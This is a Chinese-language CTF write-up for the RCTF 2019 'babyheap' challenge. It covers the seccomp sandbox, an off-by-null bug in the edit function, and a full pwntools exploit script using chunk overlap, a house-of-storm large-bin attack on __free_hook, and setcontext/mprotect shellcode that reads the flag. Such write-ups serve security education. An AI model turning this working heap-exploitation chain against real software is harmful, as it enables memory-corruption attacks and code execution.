rctf2019-babyheap
这是个off-by-null的经典题目,值得深究一番。
[*] '/home/root0/pratice/pwn_category/heap/largebin_attack/rctf2019-babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开。
同时还有沙箱保护
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0016
0015: 0x06 0x00 0x00 0x00000000 return KILL
0016: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0018
0017: 0x06 0x00 0x00 0x00000000 return KILL
0018: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0020
0019: 0x06 0x00 0x00 0x00000000 return KILL
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
差不多意思就是不能用execve(猜都能猜到,题目都是禁用的这个)
漏洞点
edit函数存在off-by-null
unsigned __int64 edit()
{
int v0; // ST00_4
int ret_value; // ST04_4
__int64 idx; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index: ");
LODWORD(idx) = get_int();
if ( (signed int)idx >= 0 && (signed int)idx <= 15 && global_mmap[2 * (signed int)idx] )
{
printf("Content: ", idx);
ret_value = read_n((char *)global_mmap[2 * v0], (unsigned int)global_mmap[2 * v0 + 1]);
*((_BYTE *)&global_mmap[2 * v0]->ptr + ret_value) = 0;// off-by-null
puts("Edit success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v4;
}
利用过程
- mallopt(1, 0); 程序初始化时存在改函数,这个会把使得global_max_fast为0x10,进而使得fast bin机制失效(我们可以利用unsorted bin attack之类的给它改回来,不过这次没有用这个操作)。
- chunk_extend,我们可以利用系统操作帮助我们在main_arena对应位置写入unsorted bin 的表头,进而使得unlink操作可以执行,从而实现chunk overlop,这样我们可以泄露地址了。
- 利用上面实现的堆块复用伪造large bin attack中的house of strom,这个手法对于开了pie的程序如鱼得水。
- 修改__free_hook为setcontext+53,同时将堆块赋值为ucontext_t结构(这个对于开了禁止系统调用的程序很实用)
- 调用free去执行setcontext,最终调用mprotect将堆地址改为可执行,同时将栈迁移到了堆上,最终执行shellcode去读flag
EXP
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./babyheap"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("")
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
success(libcbase + " ===> " + hex(libcbase))
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(text_base + addr) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def malloc(size):
r.recvuntil("Choice: \n")
r.sendline("1")
r.sendlineafter("Size: ",str(size))
def edit(idx,content):
r.sendlineafter("Choice: \n","2")
r.sendlineafter("Index: ",str(idx))
r.sendafter("Content: ",content)
def free(idx):
r.sendlineafter("Choice: \n","3")
r.sendlineafter("Index: ",str(idx))
def show(idx):
r.sendlineafter("Choice: \n","4")
r.sendlineafter("Index: ",str(idx))
malloc(0x10) #0
malloc(0x10) #1
malloc(0x28) #2
malloc(0xa70) #3
malloc(0x80) #4
malloc(0x10) #5
malloc(0x430) #6
malloc(0x10) #7
free(3)
edit(2,"a"*0x28)
malloc(0x40) #3
malloc(0x400) #8
malloc(0x10) #9
malloc(0x410) #10
malloc(0x150) #11
free(3)
free(4)
#debug(0x000000000001135)
malloc(0x40) #3
show(8)
libcbase = u64(r.recvuntil("\x7f").ljust(8,"\x00")) - 0x39bb78
confirm(libcbase)
setcontext_addr = libcbase + libc.symbols["setcontext"]
mprotect_addr = libcbase + libc.symbols["mprotect"]
malloc(0x400) #4
malloc(0x6a0) #12
free(6)
free(4)
show(8)
heap_base = u64(r.recvuntil("\n",drop=True).ljust(8,"\x00")) - 0xba0
confirm(heap_base)
free(3)
free(12)
malloc(0xb00) #3
malloc(0x430) #4
payload = "a" * 0x40 + p64(0) + p64(0x411) + "a" * 0x400 + p64(0) + p64(0x21) + "a" * 0x10 + p64(0) + p64(0x421) + "a" * 0x410 + p64(0) + p64(0x271)
edit(3,payload)
free(8)
free(4)
malloc(0x430) #4
free(10)
free_hook = libcbase + libc.symbols["__free_hook"]
target_addr = free_hook - 0x10
fake_bk_nextsize = target_addr - 5 + 8 - 0x20
fake_bk = target_addr+8
fake_large = p64(0) + p64(0x411) + p64(0) + p64(fake_bk) + p64(0) + p64(fake_bk_nextsize)
fake_large = fake_large.ljust(0x410,"\x00")
fake_chunk = target_addr
fake_unsorted = p64(0) + p64(0x421) + p64(0) + p64(fake_chunk)
fake_unsorted = fake_unsorted.ljust(0x420,"\x00")
payload = "\x00" * 0x40 + fake_large + p64(0x410) + p64(0x20) + "\x00"*0x10+fake_unsorted + p64(0x420) + p64(0x270)
edit(3,payload)
gdb.attach(r)
malloc(0x48)
shellcode=asm(shellcraft.amd64.open("./flag",0))
shellcode+=asm(shellcraft.amd64.read(3,heap_base+0x100,0x30))
shellcode+=asm(shellcraft.amd64.write(1,heap_base+0x100,0x30))
heap_addr = heap_base + 0xbb0
frame = SigreturnFrame()
frame.rdi=heap_base&0xfffffffffffff000
frame.rsi=0x1000
frame.rdx=7
frame.rip=mprotect_addr
frame.rsp=heap_addr+len(str(frame))
payload = str(frame) + p64(heap_addr + len(str(frame))) + shellcode
edit(4,payload)
edit(6,p64(setcontext_addr+53))
r.recvuntil("Choice: ")
r.sendline("3")
r.recvuntil("Index: ")
r.sendline("4")
r.interactive()